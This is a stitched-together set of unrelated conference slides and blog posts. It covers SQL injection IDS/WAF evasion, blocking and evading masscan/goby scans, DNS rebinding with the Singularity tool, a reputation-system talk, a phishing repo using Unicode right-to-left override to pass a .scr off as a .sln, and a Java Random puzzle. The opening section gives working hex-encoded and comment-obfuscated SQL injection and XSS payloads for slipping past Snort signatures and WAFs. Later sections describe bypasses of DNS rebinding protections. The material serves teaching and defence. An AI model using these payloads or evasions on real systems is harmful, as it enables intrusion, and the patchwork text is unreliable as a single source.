- It is possible to attack an sql injection vulnerability without using comments
If this signature is so easily bypassed, what is it actually good for?
Answer:
Again, it's great for automated tools and kiddies
Signature Based IDS (2)
Signature 3-5
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT
statement”; flow: to_server, established; pcre:”/select.*from.*(\-\-|\/\*|\#)/i”; sid: 2; rev: 1;)
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection UNION
statement”; flow: to_server, established; pcre:”/union.*(\-\-|\/\*|\#)/i”; sid: 3; rev: 1;)
Bypass Techniques:
http://[site]/page.asp?id=2 or 2 in (%73%65%6C%65%63%74%20%75%73%65%72)%2D%2D
http://[site]/page.asp?id=2 or 2 in (select user)--
http://[site]/page.asp?id=-2 %55%4E%49%4F%4E%20%41%4C%4C%20%73%65%6C%65%63%74%201,2,3,(%73%65%6C
%65%63%74%20%75%73%65%72),5,6,7%2D%2D
http://[site]/page.asp?id=-2 UNION ALL select 1,2,3,(select user),5,6,7--
....c'mon everyone name some more
Signature Negatives
- Although sigs 3-5 are much better, they don't consider the attacker may use different encoding types such as hex
Signature Based IDS (3-5)
Signature 6
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server,
established; pcre:”/(s|%73)(e|%65)(l|%6C)(e|%65)(c|%63)(t|%74).*(f|%66)(r|%72)(o|%6F)(m|%6D).*(\-\-|\/\*|\#)/i”; sid: 2; rev2;)
Signature 7
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server,
established; pcre:”/(s|%73|%53)(e|%65|%45)(l|%6C|%4C)(e|%65|%45)(c|%63|%43)(t|%74|%45).*(f|%66|%46)(r|%72|%52)(o|
%6F|%4F)(m|%6D|%4D).*(\-\-|\/\*|\#)/i”; sid: 2; rev: 3;)
At least signature 7 takes into account case sensitivity with hex encoding.
But.....
There are always other encoding types that the attacker can use...
Signature Based IDS (6-7)
Practice Your Kung Fu: PHPIDS
Practice Your Kung Fu: PHPIDS
The real trick for each of these techniques is to understand that this is just like IDS
evasion in the service based exploitation side of the house.
You have to make sure that your attack actually works. It's easy to bypass an IDS, but
you can just as easily end up with your attack bypassing the IDS, but not working at all.
With this in mind you can mix/match the IDS evasion tricks - it's just a matter of
understanding the regex in use.
http://[site]/page.asp?id=2%20or%202%20in%20(/*IDS*/%73/*evasion*/%65/*is*/
%6C/*easy*/%65/*just*/%63/*ask*/%74/*j0e*/%20%75/*to*/%73/*teach*/%65/*you*/
%72/*how*/)%2D%2D
What is passed to the db
http://[site]/page.asp?id=2 or 2 in (select user)--
in comments ("IDS evasion is easy just ask j0e to teach you how")
Signature Based IDS
WAFs are surprisingly easy to detect?
Generally you just have to send 1 valid request, and one malicious request and diff the response.
Malicious tends to be any HTTP request that has a payload that contains things like:
' “ < ? #
- | ^ *
Identifying Web Application Firewalls
How can you determine if the target host has deployed a WAF?
Curl
curl -i http://targetcompany.com/cmd.exe | grep "501 Method"
Netcat
$ (echo "GET /cmd.exe HTTP/1.1"; echo "Host: targetcompany.com"; echo) | nc targetcompany.com | grep "501 Method Not Implemented"
If the server responds with error code “501 Method Not Implemented” then it is running mod_security.
Curl
curl -i http://www.targetcompany.com/%27
HTTP/1.1 999 No Hacking
Server: WWW Server/1.1
Identifying Web Application Firewalls
How can you determine if the target host has deployed a WAF?
Gary O'Leary-Steele
http://packetstormsecurity.org/web/unicode-fun.txt
[j0e@LinuxLaptop toolz]$ ruby unicode-fun.rb
Enter string to URL Unicode:<script>alert('XSS')</script>
%u003c%uff53%uff43%uff52%uff49%uff50%uff54%u003e%uff41%uff4c%uff45%uff52%uff
54%uff08%u02b9%uff38%uff33%uff33%u02b9%uff09%u003c%u2215%uff53%uff43%uff52
%uff49%uff50%uff54%u003e
Curl
curl -i http://www.targetcompany.com/3c%73%63%72%69%70%74%3e%61%6c
%65%72%74%28%27%58%53%53%27%29%3c%2f%73%63%72%69%70%74%3e
HTTP/1.1 404 Not Found
Date: Sat, 14 Mar 2009 19:13:10 GMT
Server: Apache
Identifying Web Application Firewalls
How can you determine if the target host has deployed a WAF?
Curl
curl -i http://www.targetcompany.com/3c%73%63%72%69%70%74%3e%61%6c
%65%72%74%28%27%58%53%53%27%29%3c%2f%73%63%72%69%70%74%3e
HTTP/1.1 200 Condition Intercepted
Date: Sun, 15 Mar 2009 01:42:01 GMT
Server: Apache
Identifying Web Application Firewalls
DotNet Defender WAF
Bypassing DotNet Defender
DotNet Defender
Dumping Admin PW – sorry DotNet Defender
SQL Tutorials:
http://www.sql-tutorial.net/
SQL Injection Tutorials
http://www.securitydocs.com/library/3587
http://www.astalavista.com/index.php?section=docsys&cmd=details&id=42
SQL Injection Cheatsheets:
http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/
http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/
Basic References
Lots, and lots, and lots of late nights with rum and coke at my side...
Paul Battista's ToorCon 9 Presentation
http://www.securityexperiment.com/se/documents/Overlooked%20SQL%20Injection%2020071021.pdf
Brad Warneck's GCIA Paper
http://www.giac.org/certified_professionals/practicals/gcia/1231.php
References For This Presentation
You want the presentation????? Buy me a rum and coke tonight....
You can contact me at:
Email:
[email protected]
Twitter:
http://twitter.com/j0emccray
LinkedIn:
http://www.linkedin.com/in/joemccray
Download This Presentation | pdf |
简单规则屏蔽goby和masscan
0x00 前⾔
和橙⼦酱讨论了⼀下扫描特征的问题，橙⼦酱提到masscan有固定特征可以被识别，因此记录⼀
下。
0x01 扫描特征
根据⽂章描述
意思⼤概是nmap⾥的tcp-option字段为4个字节，这是⼀个特征，因此可以使⽤IP上图⾥的
iptables规则直接把nmap的端⼝扫描流量给丢弃掉。对应到wireshark抓包来看是这个字段：
这是⼀个nmap的sT扫描的抓包实例，在tcp option这个字段是24字节，和前⾯说的有所不同，经
过抓包来看正常的tcp请求这个tcp option也是24字节为多。因此这个特征并不存在于nmap的新版
之中。
0x02 masscan的特征
上⾯抓包看的是新版本的nmap，但是历史⽂章既然有了，那么可以猜测到这个特征是历史版本的
nmap所具备的。引申开来的话，masscan是否具备该特征？
橙⼦酱抓包看了后发现确实masscan的新版本也具备这个特征，我们来看看抓包截图
对应到同⼀个字段，masscan确实是4字节，因此这个特征对masscan是适⽤的。
⽐较有趣的是我做测试的时候⽤的是goby，因为goby在端⼝扫描的时候是调⽤的masscan，因此
goby也受到这个特征的影响！
换句话说，只要我把iptables的规则⼀配，goby就再也扫不到我的端⼝了！
0x03 如何修改特征
为了修改这个特征我们需要去下载masscan的源码
想要快速定位到代码，我们看⼀下搜索特征
我在github直接搜索1460看看
很显然看到了⼀摸⼀样的特征字段在 /src/templ-pkt.c
这⾥猜测是使⽤这个默认的tcp模版来⽣成的tcp请求，因此在最后的options改⼀下，改成和正常
请求的options⼀样即可。 | pdf |
State of DNS Rebinding
Attack & Prevention Techniques and
the Singularity of Origin
Gérald Doussot & Roger Meyer | DEF CON 27
New Tool: Singularity
●
Everything you need for DNS
rebinding
●
Reliable: Default settings just work
●
Performant: up to 20x faster (3s vs
60s)
●
Built-in payloads: Jenkins, Rails,
AWS Instance Metadata, etc...
●
Autopwn: Networks & services
scan, service detection and
auto-exploitation
Contributions
Neat Technical Details/Techniques
●
Speed: Multiple DNS answers and
cache flooding
●
Protection Bypasses: 3 different
bypasses for common DNS
rebinding protections
○
Using DNS trickery
●
Hook/Control - Interactively browse
the victim’s internal network
○
Websocket proxying, no HTTP proxy
needed!
Agenda
●
A Refresher on DNS Rebinding
●
DNS Rebinding Attack: Building on reliable foundations
●
The Need for Speed: DNS rebinding in 3 seconds
●
Protection Bypasses: 3 different bypasses for common DNS rebinding
protections
●
Hook and Control: Interactively browse the victim’s internal network
●
Scanning for Vulnerable Host Services
●
Automation: Service detection & exploitation and orchestrating all the above
Introduction
Who Are We
●
Gérald Doussot and Roger Meyer
●
Security consultants at
●
San Francisco, CA
●
Authors of Singularity of Origin,
a DNS Rebinding Attack Framework
https://github.com/nccgroup/singularity
Why Should You Care About DNS Rebinding
bind 0.0.0.0
Why Should You Care About DNS Rebinding
bind 127.0.0.1
Why Should You Care About DNS Rebinding
Why Should You Care About DNS Rebinding
Why Should You Care About DNS Rebinding
Why Should You Care About DNS Rebinding
Why Should You Care About DNS Rebinding
Why Should You Care About DNS Rebinding
Why Should You Care About DNS Rebinding
●
Prevalence of apps exposing HTTP servers on localhost (e.g. Electron)
●
IoT devices exposing sensitive interfaces on internal networks
●
Misconceptions
○
DNS rebinding is slow
○
DNS rebinding can be solved by out-of-the-box DNS filtering products or services
A Refresher on DNS
Rebinding
On the Origin of Web Documents
The “Origin” of a resource is a tuple consisting of scheme, host and port.
Two documents A and B share the “same-origin” if they have identical scheme,
host and port components.
●
https://mysite.com/hello.html and https://mysite.com/world.html ✔
●
https://mysite.com/hello.html and https://attacker.com/hello.html ✖
On the Origin of Web Documents
The “same-origin policy” dictates how two different origins may interact.
These interactions between origins are typically permitted: form submissions,
links, redirects, content embedding (JavaScript, CSS).
Cross-origin reads are typically not allowed e.g. reading the content of an HTML
document located on gmail.com from site attacker.com.
DNS Rebinding permits to bypass restrictions imposed by the same-origin
policy.
DNS Rebinding Attack Walkthrough
Attacker DNS
& Web Server
35.185.206.165
Target Service
127.0.0.1
Victim (Browser)
Intranet
Internet
DNS Rebinding Attack Walkthrough
Attacker DNS
& Web Server
35.185.206.165
Target Service
127.0.0.1
Victim (Browser)
Intranet
Internet
Unauthenticated
access
DNS Rebinding Attack Walkthrough
Attacker DNS
& Web Server
35.185.206.165
Target Service
127.0.0.1
Victim (Browser)
Intranet
Internet
Unauthenticated
access
Blocked
DNS Rebinding Attack Walkthrough
DNS query rebind.it
Attacker DNS
& Web Server
35.185.206.165
Target Service
127.0.0.1
Victim (Browser)
DNS Rebinding Attack Walkthrough
DNS query rebind.it
DNS A record response:
35.185.206.165
Attacker DNS
& Web Server
35.185.206.165
Target Service
127.0.0.1
Victim (Browser)
DNS Rebinding Attack Walkthrough
DNS query rebind.it
DNS A record response:
35.185.206.165
DNS cache expires;
DNS query rebind.it
Attacker DNS
& Web Server
35.185.206.165
Target Service
127.0.0.1
Victim (Browser)
DNS Rebinding Attack Walkthrough
DNS query rebind.it
DNS A record response:
35.185.206.165
DNS cache expires;
DNS query rebind.it
DNS A record response:
127.0.0.1
Attacker DNS
& Web Server
35.185.206.165
Target Service
127.0.0.1
Victim (Browser)
DNS Rebinding Attack Walkthrough
DNS query rebind.it
DNS A record response:
35.185.206.165
DNS cache expires;
DNS query rebind.it
DNS A record response:
127.0.0.1
GET/POST
request to
127.0.0.1
Attacker DNS
& Web Server
35.185.206.165
Target Service
127.0.0.1
Victim (Browser)
Learning More About the Basics of DNS Rebinding
●
[2017] DEF CON 25 - Luke Young - There’s no place like 127.001: Achieving
reliable DNS rebinding (https://youtu.be/Q0JG_eKLcws)
●
[2010] Black Hat USA & DEF CON 18 - Craig Heffner - How to hack millions of
routers (https://youtu.be/VAaqABpjiUQ / https://youtu.be/Zazk0plSoQg)
●
[2007] 24C3 - Dan Kaminsky - DNS Rebinding And More Packet Tricks
(https://youtu.be/YwbpnZe74ds)
●
[2018] NorthSec - Danny Cooper & Allan Wirth - Homeward Bound: Scanning
Private IP Space with DNS Rebinding (https://youtu.be/9iSvAS6IdiM)
●
[2013] WOOT '13 - Yunxing Dai, Ryan Resig - FireDrill: Interactive DNS
Rebinding (https://www.usenix.org/conference/woot13/workshop-program/presentation/Dai)
●
[2007] Stanford University - Protecting Browsers from DNS Rebinding Attacks
(https://crypto.stanford.edu/dns/)
iOS Demo: DNS rebinding in 5 s (cache flooding)
DNS Rebinding
Attack: Building on
Reliable Foundations
You Visit a
Completely
Innocuous
Looking Website
Malicious JavaScript Code Downloaded.
Sending First DNS Query...
What’s in a Query?
Example DNS query from a browser to Singularity DNS server:
s-35.185.206.165-127.0.0.1-3504134790-fs-e.d.rebind.it
●
(s)tart
●
35.185.206.165: Attacker Host IP Address
●
127.0.0.1: Target Service IP Address or Name
●
3504134790: Session ID
●
fs: DNS Rebinding Strategy - “first then second” IP address.
●
(e)nd
●
d.rebind.it: Attack Host Domain
Removing HTTP Performance Enhancing
Techniques That Impede DNS Rebinding
HTTP Caching - We want the browser to get fresh copies of resources.
Keep-Alive - We don’t want the browser to stick to the attacker’s server.
TTL Values
# 1st query
$ dig +noall +answer s-35.185.206.165-127.0.0.1-123-fs-e.d.rebind.it
S-35.185.206.165-127.0.0.1-123-fs-e.d.rebind.it. 0 IN A 35.185.206.165
# 2nd query
$ dig +noall +answer s-35.185.206.165-127.0.0.1-123-fs-e.d.rebind.it
s-35.185.206.165-127.0.0.1-123-fs-e.d.rebind.it. 0 IN A 127.0.0.1
Why not 1 second? We hoped 0 second would break stuff[1]. It did not so far, as far
as we know, it is a legitimate value[2].
[1] https://mark.lindsey.name/2009/03/09/never-use-dns-ttl-of-zero-0/
[2] https://tools.ietf.org/html/rfc2181#page-10
How Do We Know We’ve Successfully Rebinded?
Two ways to differentiate the attacker server from the target service:
$ curl -v http://s-35.185.206.165-127.0.0.1-3504134792-fs-e.d.rebind.it:8080/
(...)
HTTP/1.1 200 OK
X-Singularity-Of-Origin: t # Custom HTTP Header
(...)
<!--thisismytesttoken--><!doctype html><title>(...) # Index Token
Randomness and Catering for Potential Interference
IPS/IDS/other interference via spurious DNS queries
●
Challenge: the environment IPS/IDS may make their own queries to the
attacker domains in addition to the target, resulting in incorrect DNS/out of
sequence DNS answers for the target.
●
Solution: Use the random DNS rebinding strategy.
●
Slower technique in general (but you could get lucky!).
The Need for Speed:
DNS Rebinding in 3
Seconds
Implementation Details Matter!
DNS Rebinding speed varies based on a number of factors:
●
OS implementation: Windows or Unix-like (Linux, macOS)
●
Browser vendor: IE/Edge, Firefox, Chrome/Chromium Edge, Safari
●
Target specification: local, remote
●
External factors: Spurious DNS queries e.g. presence of IPS/IDS
DNS rebinding may take 40+ min or ~3s on Edge depending on the strategy!
We can automatically fingerprint to optimize for speed in some conditions. More
on this later!
Multiple Answers Rebinding Strategy with Targets
127.0.0.1 / 0.0.0.0
The time-varying (Singularity’s “first then second”) DNS rebinding technique is ~60
seconds on all browsers except IE/Edge.
Multiple answers (respond with attacker and target addresses, then block attacker
with ephemeral firewall rule) is near instantaneous. 127.0.0.1 works on Windows
only.
We got it to work on Unix-y machines (Linux, macOS) with “0.0.0.0”.
Solid and fast DNS rebinding against all “localhost” services.
Multiple Answers Rebinding Strategy Illustrated
Target Browser
Attacker DNS
& Web Server
35.185.206.165
Target Service
127.0.0.1
DNS query rebind.it
DNS A record response:
1.
35.185.206.165
2.
127.0.0.1
t: 0s - HTTP request 1
t: 2s - HTTP request 3
t: 1s - HTTP request 2
Blocked!
DNS Cache Flooding
Multiple Answers works well for the loopback (0.0.0.0 or 127.x.x.x) interface -
inconsistent results for other target specifications.
On Google Chrome or Safari/iOS platforms, when flooding the DNS cache with
1K+ queries for which we receive valid answers, we observe DNS rebinding time
with the time varying attack technique (first then second) of 5 to 40 seconds, a
substantial progress over the average of ~60 seconds.
Flooding the cache is performed in a web worker.
Speed Measured / Target Definition
Browser
OS
Strategy
Time to
Exploit
Fetch Interval
Target Spec
Windows 10
MA
3 seconds
1 second
127.0.0.1
Ubuntu
MA
3 seconds
1 second
0.0.0.0
macOS
MA
3 seconds
1 second
0.0.0.0
macOS,Ubuntu,
Windows
FS+Cache Flooding
15-40 seconds
1 second
Any
iOS
FS+Cache Flooding
5 seconds
1 second
Any
Protection Bypasses
DNS Rebinding Protection Bypasses
●
Singularity can bypass all known DNS rebinding protections:
○
Unbound
○
Dnsmasq
○
pfSense
○
OpenWRT
○
OpenDNS (Cisco Umbrella)
●
Common recommendations and default configurations do not provide
complete protection
Common DNS Protections
Approaches:
●
Block RFC 1918 IP addresses
○
10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
●
Block localhost (127.0.0.0/8)
●
Block local (internal) networks
●
Block 0.0.0.0/8
Tools:
●
Dnsmasq & Unbound widely used
○
pfSense, OpenWRT, home routers (e.g. FRITZ!Box, ASUS)
●
Public DNS services
○
OpenDNS: “Block internal IP addresses”: Blocks RFC 1918 IP addresses
Dnsmasq
●
--stop-dns-rebind : Reject private IP ranges
●
--rebind-localhost-ok : Exempt 127.0.0.0/8 from rebinding checks
●
This blocks RFC1918 addresses, 0.0.0.0/8, and 127.0.0.0/8
●
localhost is not blocked
Unbound
●
private-address: Configure specific internal IP address range to be blocked
●
This blocks RFC1918 IP addresses
●
Does not block 0.0.0.0, 127.0.0.1, and localhost
DNS Rebinding Protection Bypass #1: 0.0.0.0
●
Wikipedia: “0.0.0.0 is a non-routable meta-address used to designate an
invalid, unknown or non-applicable target”
●
Fact: 0.0.0.0 works well on Linux and macOS to access the localhost
●
This bypasses protections that block DNS responses of 127.0.0.1
●
Singularity returns a DNS A record:
$ dig s-1.2.3.4-0.0.0.0-474794-fs-e.d.rebind.it
;; QUESTION SECTION:
;s-1.2.3.4-0.0.0.0-474794-fs-e.d.rebind.it. IN A
;; ANSWER SECTION:
s-1.2.3.4-0.0.0.0-474794-fs-e.d.rebind.it. 0 IN A 0.0.0.0
DNS Rebinding Protection Bypass #2: CNAME
●
What if all internal IP addresses are blocked?
●
Canonical Name records (CNAME) map one domain name to another
●
We return a CNAME DNS record instead of an internal IP address
○
e.g. wiki.nccgroup.com or jenkins.internal.corp.com
●
This bypasses protections that block DNS responses of private IP addresses
●
The local, internal DNS server will then resolve the CNAME
$ dig s-1.2.3.4- wiki.nccgroup.com-123-fs-e.d.rebind.it
;; QUESTION SECTION:
;s-1.2.3.4-wiki.nccgroup.com-123-fs-e.d.rebind.it. IN A
;; ANSWER SECTION:
s-1.2.3.4-wiki.nccgroup.com-123-fs-e.d.rebind.it. 9 IN CNAME wiki.nccgroup.com.
DNS Rebinding Protection Bypass #2a: localhost
●
localhost is a hostname that means this computer
●
We return a CNAME (Canonical Name) DNS record of “localhost.”
●
This bypasses protections that block DNS responses of 127.0.0.1
$ dig s-1.2.3.4-localhost-123-fs-e.d.rebind.it
;; QUESTION SECTION:
;s-1.2.3.4-localhost-123-fs-e.d.rebind.it. IN A
;; ANSWER SECTION:
s-1.2.3.4-localhost-123-fs-e.d.rebind.it. 0 IN CNAME localhost.
Hook and Control :
interactively browse
the victim's internal
network after DNS
rebinding
Experimenting with Proxying without an HTTP Proxy
HTTP tools such as BeEF (Browser Exploitation Framework - https://beefproject.com/) and
FireDrill (https://www.usenix.org/conference/woot13/workshop-program/presentation/dai) can use a hooked
browser via XSS or DNS rebinding as a gateway to otherwise unreachable
networks such as home or corporate environments.
We know that BeEF requires to configure the attacker browser or operating
system to use the BeEF HTTP proxy e.g. “http://beef.attaker.com:3120/”. We do not know
how FireDrill does it since its code is unfortunately not available.
We implemented browsing of services via a hooked browser in Singularity, without
requiring the attacker setting up its browser to use an HTTP proxy for fun.
Proxy Architecture
Attacker
Browser
Websocket: connect and wait for instructions
Singularity
Hooked Target
Browser
Target Service
HTTP: connect
and select hooked target browser
Proxy Architecture
Attacker
Browser
Singularity
Hooked Target
Browser
Target Service
GET /home HTTP/1.1
Websocket: op=”fetch”,
args “/home”
HTTP: fetch(“home”,{...})
...and back
translate
translate
Proxying without an HTTP Proxy
●
Customized Golang’s RoundTripper https://golang.org/pkg/net/http/#RoundTripper
●
Using WS plain text protocol to package fetch() requests and responses -
Inflate size of data in transit: len ~= 4/3 of len(message) using base64
encoding.
Attacker Browser - Any user agent: Web browser, curl, HTTP inspecting proxy,
SQLMap, etc.
Dealing with Split Brains: Syncing the state between
the attacker and target’s browsers
The initial assumption was that we did not have to care about cookies. Our first
test case was Duplicati, a backup application which was vulnerable to DNS
rebinding attack and has a web interface listening on localhost.
Oops.
Dealing with Split Brains: Syncing the state between
the attacker and target’s browsers
Cookies may be used as CSRF tokens or other purposes.
For non HttpOnly cookies:
●
Read them from target browser => transmit to the Singularity server
●
Singularity sets them on the attacker browser for the target domain (the
DNS domain constructed by Singularity).
For HttpOnly cookies:
●
We don’t care - they can’t be read by JS so they cannot be used by JS.
●
The target browser handles (receives and transmits) them for us.
Dealing with Split Brains: Syncing the state between
the attacker and target’s browsers
To be able to read cookies from a response to a fetch() request, you must pass
the option {credentials: ‘include’} to the fetch() request.
If the application requires HTTP authorization (WWW-Authenticate), then we must
forego completely about passing cookies, unless we know the credentials in
advance and pass them without being challenged for authentication.
Why? Let’s test in the next slides
Dealing with Split Brains: Syncing the state between
the attacker and target’s browsers
fetch ('http://127.0.0.1', {credentials: 'include'})
→ Authentication dialog box popup in victim’s browser
→ Victim 🤔
Dealing with Split Brains: Syncing the state between
the attacker and target’s browsers
fetch ('http://127.0.0.1', {credentials: omit})
→ No authentication dialog box
→ Victim 😌
Demo 2: Hook & Control
Scanning for
Vulnerable Hosts
Services
Old World and Cool Hacks (Embedding Images,
Measuring Requests Response Time)
Many astute attempts to replicate nmap behavior without the power of raw
sockets.
Often unreliable / do too much for our purposes e.g. we don’t care about whether
a SSH port is open or not.
Does it speak HTTP? We are interested in DNS rebinding and DNS rebinding
deals with the HTTP protocol only (so far).
Leveraging Modern APIs and Focusing on What
Matters (fetch, abort, HTTP only)
Leveraging Modern APIs and Focusing on What
Matters (fetch, abort, http only)
Solution:
●
Wrap in a web worker - distribute scan targets across 4 web workers
●
fetch() resource headers with timeout (300 ms) - Don’t bother with resp. body
○
Timeout drives how fast scans can go - how long we hang, waiting for a response
○
When an unhandled protocol (e.g. SSH) or when a port is firewalled (No TCP RST packet)
●
Fast for: open HTTP ports, closed ports
●
Slower for: firewalled ports, slow HTTP services & possibly specific protocols
●
Pro-tip:
○
Use a lower timeout when scanning LAN and/or fast HTTP services.
○
Use higher timeouts when scanning different networks e.g. across VPN.
Leveraging Modern APIs and Focusing on What
Matters (fetch, abort, http only)
Other bits and pieces:
●
Use the classical WebRTC IP address leak when available to obtain the IP
address of the machine and derive a subnet (Chrome, Firefox).
●
fetch ('http://127.0.0.1', {credentials: omit}) → No authentication dialog box →
Victim 😌. . Didn’t we cover this before? 🤔
●
Considering performing a second scan pass for potentially slower services
(Singularity implementation TODO list).
Automation: Service
Detection &
Exploitation and
Orchestrating all the
Above
Auto Detection and Exploitation of All Things
Accessible by the Target Web Browsers
●
“Autoattack.html” automation and orchestration sample file
●
Customizable
●
Permits to leverage all features of Singularity
○
Specific exploitation payload or auto-selection of payload to deliver based on detected service
○
Targets selection + optional detection
○
Ports selection + optional port scanning
○
Default DNS strategy selection + optional detection of best strategy to use in specific cases
○
Various options such as flooding DNS cache, visibly hiding activity etc.
●
Future work: more auto-optimization so you don’t have to read the extensive
wiki (https://github.com/nccgroup/singularity/wiki) .
Choosing the Right Targets 0.0.0.0, "localhost",
CNAMES, Weak Host Model
●
Mix and match different specifications of same target for reliability, security
controls bypass and speed (“0.0.0.0”, “localhost”, “127.0.0.1”).
●
Find and use the external IP address to exploit routers / Wifi APs’ internal
network facing administration interface (weak end system model -
https://www.defcon.org/images/defcon-18/dc-18-presentations/Heffner/DEFCON-18-Heffner-Routers-WP.pdf )
●
Do some homework using OSINT - try to determine the local corporate
domains, use a dictionary of service names and specify them as CNAMES
e.g. jenkins.internal.corp.com. This is likely to pay off.
Service Detection
Singularity comes with a number of attack payloads targeting services such as
Chrome DevTools Remote Debugger, Amazon AWS instance metadata, Ruby on
Rails etc.
We recently augmented a number of its payloads with a service detection routine.
Selecting the “automatic” payload will instruct Singularity to detect the service and
deliver the appropriate attack!
Concluding Remarks:
There is Only One
HTTP Origin
How To Protect From DNS Rebinding:
Use DNS blacklists
Use DNSSec?
Use this DNS service provider
Use this router/appliance/IPS!
How To Protect From DNS Rebinding:
Common Wisdom is Not Enough
Use DNS blacklists
Use DNSSec
Use this DNS service provider
Use this router/appliance/IPS!
...Do you understand all the subtleties of DNS rebinding? And no, DNSSec
does not help at all!
How To Really Protect From DNS Rebinding
Use TLS on all services, external and internal including localhost
(https://blog.filippo.io/mkcert-valid-https-certificates-for-localhost/, https://github.com/FiloSottile/mkcert/releases).
Always use authentication.
Validate the Host header of HTTP requests for correct values e.g. 127.0.0.1
(whitelisting).
The future? https://wicg.github.io/cors-rfc1918/
Demo 3: Automation
1.
Portscan
2.
Rebind in 3s
3.
Auto-detect
services
4.
Exploit
Thank You
●
Get the Slides+Notes at: https://bit.ly/Singularity_Defcon27
●
Get Singularity of Origin at https://github.com/nccgroup/singularity
○
DNS server to rebind DNS names to IP addresses
○
HTTP server to serve HTML pages and JavaScript code to targets and to manage the attacks
○
Sample attack payloads: Chrome DevTools, Jenkins, & many more
○
Supports DNS CNAME to evade DNS filtering solutions
○
A simple, fast and efficient HTTP port scanner to identify vulnerable services
○
Attack automation: completely automate the scanning and exploitation
○
Hook & control to exploit victim browser as HTTP proxy to access internal
network resources
●
Contact us:
○
[email protected]
○
[email protected] | pdf |
Aura
A peer-to-peer reputation system
Cat Okita, 2003
Reputation Systems
• What is a Reputation System?
– Livejournal/Friendster, eBay, Avogato,
Slashcode
• Why do you care?
• What could you use this for?
– Establishing trust, performance metrics, meme
propagation, spam filtering
Challenges
• Authentication
• Trust
• Non-repudiation
Design Considerations
• Fast, resource efficient
• Secure - Difficult to corrupt information or
impersonate others
• Portable - Easy to use from any location
• Simple to use and extend
• Independent - not dependant on a
centralized server
Attacks
• Information poisoning
– Flooding
– Trojans
– Identity theft
– Impersonation
– DoS
Implementation
• Peer-to-peer
– Can also run in collector mode
• Reputation Mode
– valuation of entity overall (both personal and
general) or per template
• Gossip Mode
– information about other entities
A quick check of Reputation
•
Picking a mailer
–
Stable, fast, secure?
•
Finding out about a poster to a mailing list
–
Crazy, expert, unknown?
Configuration
• Text-based configuration
– Templates for details
• Requires use of public key
Future Plans
• Pretty GUI
• Better cross-platform portability
• Improved statistical reporting
• Implementation of group keys
• Trigger automation
Finis
• Available at:
– http://www.geekness.net/tools/aura
• Email to:
– [email protected]
• Questions??? | pdf |
针对开发人员的钓鱼
下午看到 @wonderkun 分享了一个项目：
此时我还没意识到这个项目的问题，在 clone 之后， Readme.md 的介绍是相当的给力，我想看看它是如
何实现的。
总之看起非常强大，有 gif ,还有支持的功能列表，就和所有的开源 RAT 一样。
究竟是什么？
图标看过去是正常的，看上去和正常 VS 的项目文件一样。
在经过提醒之后，发现这个 VS 的项目文件有点奇怪， Type 为 Screen saver ，文件的后缀名
为 ..sln 。
Screen saver 为 Windows 屏幕保护程序，在用户不活动时，将会触发 屏幕保护程序。
这个文件实际上就是一个 PE ，就是一个可执行文件。
并且伪装了图标。
如何伪装的后缀？
还有一个疑问，它是如何伪装后缀的呢？将文件名复制出来后，完整的文件名是 :
复制出来的时候发现无法选择到 rcs.. 的位置， @wonderkun 说明为 unincode 反转字符 。
参考：不要让“它”迷惑了你的双眼——UNICODE反转字符串
由于插入 Unicode的RLO,导致文本反向排列。
Pantheon V2 HVNCrcs..sln
1
这里的 0x202e 就是 RLO.删除该编码，重新解析：
参考：http://tools.jb51.net/transcoding/chinese2unicode
真实的的文件名为：
执行效果是啥？
沙箱跑一下，emmm ，这个绕过方式有点奇怪，但是有效。
Pantheon V2 HVNCnls..scr
1
扔下 VT ：
还是有沙箱检查到了动作：
后续的分析摸了。
好吧，我分析不出来。。。。
小结：
Unicode 使用 RLO 反转字符串
反转的字符串使用 scr，非 exe 降低警觉
IDA 直接打开会无法找到文件(也是一个点吧)
项目描述的非常真实，包括 gif,图片，
修改图标，降低警觉
猜测内部的动作
反沙箱，比如使用 cmd 进程来了不断 sleep
反调试。。
使用 discord 和 aws 托管 下一步的 payload （从名字就知道是加密的）
。。。 | pdf |
1
Java⼩trick之在懵逼中为Random跪下
LxLN 问题
LxLO 解答
LxLO.N 初步解答
LxLO.O 回看问题
LxLP 思考
LxLQ 杂项
LxLS 总结
这个⽉在逛着https://stackoverflow.com突然发现个有点意思的⼀段代码,或者说是有点意思的猴戏
怎么说呢,就是看完以后,不知道为啥⼦,我就在懵逼中跪下了...
为了解决疑问,快速爬起来,我就决定解决这个疑问
先给你们看看这个问题是啥,你们就知道我为何懵逼了
https://stackoverflow.com/questions/15182496/why-does-this-code-using-random-strings-
print-hello-world
翻译过来就是⼀句话:下⾯的代码将打印“hello world”,有⼈能解释⼀下吗?
⼤概是这个意思,我也是有道云翻译的....
0x01 问题
2
给出的代码也超级简单,可以拿idea跑⼀下看看结果
3
Java
复制代码
// 让⼈懵逼的代码
package Test2;
import java.util.Random;
public class Test1 {
public static void main(String[] args) {
System.out.println(randomString(-229985452) + " " +
randomString(-147909649));
}
public static String randomString(int i) {
Random ran = new Random(i);
StringBuilder sb = new StringBuilder();
while (true) {
int k = ran.nextInt(27);
if (k == 0) {
break;
}
sb.append((char) ('`' + k));
}
return sb.toString();
}
}
// 运⾏结果
hello world
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
4
就问你...
这个代码给你,你第⼀眼看到输出个“hello world”懵逼不懵逼?
懵逼完了以后,就可以开始想想为什么了
先看了⼀眼源码,有点拗⼝,让我有点懒的思考,于是决定去看看⽂章的评论
0x02 解答
0x02.1 初步解答
5
我这么懒的逼,当然是选择看评论拉,看到⼀个⾼赞回答,看看写了啥先
有道翻译是这么说的:
当使⽤特定的种⼦值(seed)(在本例中是 -229985452 与 -147909649 )构
建 java.util.Random 的实例时
那么 java.util.Random 将从指定的种⼦值(seed)开始⽣成随机数
⽤相同的种⼦值(seed)构建的每⼀个 java.util.Random 对象,每次都会产⽣相同的数字
是不是感觉还是有点懵逼,简单的说就是当这个种⼦值(seed)是固定的时,那么⽣成出来的结果也是固定的
6
